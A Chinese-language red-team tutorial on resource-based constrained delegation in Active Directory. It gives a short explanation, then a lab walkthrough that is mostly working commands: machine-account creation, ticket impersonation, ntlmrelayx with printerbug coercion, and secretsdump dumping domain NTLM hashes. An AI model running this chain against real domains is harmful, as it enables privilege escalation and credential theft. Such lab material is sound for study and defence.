参考:https://blog.csdn.net/nicai321/article/details/122679357
原理:
基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。
漏洞复现:
资源委派攻击其他域主机获取system权限
使用csc进行编译生成exe文件:
查询到加入域主机的域用户:
使用SharpAllowedToAct生成机器账号:
工具下载地址:
https://github.com/HPVCA/SharpAllowedToAct
SharpAllowedToAct.exe -m hacker -p pass@123 -t 12server2 -a 10.10.10.142 redteam.club
获取服务票据:
python3 getST.py -dc-ip 10.10.10.142 redteam/hacker$:pass@123 -spn cifs/12server2.redteam.club -impersonate administrator
设置环境变量:
export KRB5CCNAME=administrator.ccache #将这个票据进行设置
获取域普通主机system权限:
python3 smbexec.py -no-pass -k 12server2.redteam.club
利用普通域账号提升到域本地管理员
python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name long -computer-pass pass@123 “redteam.club/hack:pass@123”
python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --delegate-access --escalate-user long$ -debug
python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.128
python3 getST.py -dc-ip 10.10.10.142 redteam/long$:pass@123 -spn cifs/ad2.redteam.club -impersonate administrator
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm
python3 smbexec.py -no-pass -k ad2.redteam.club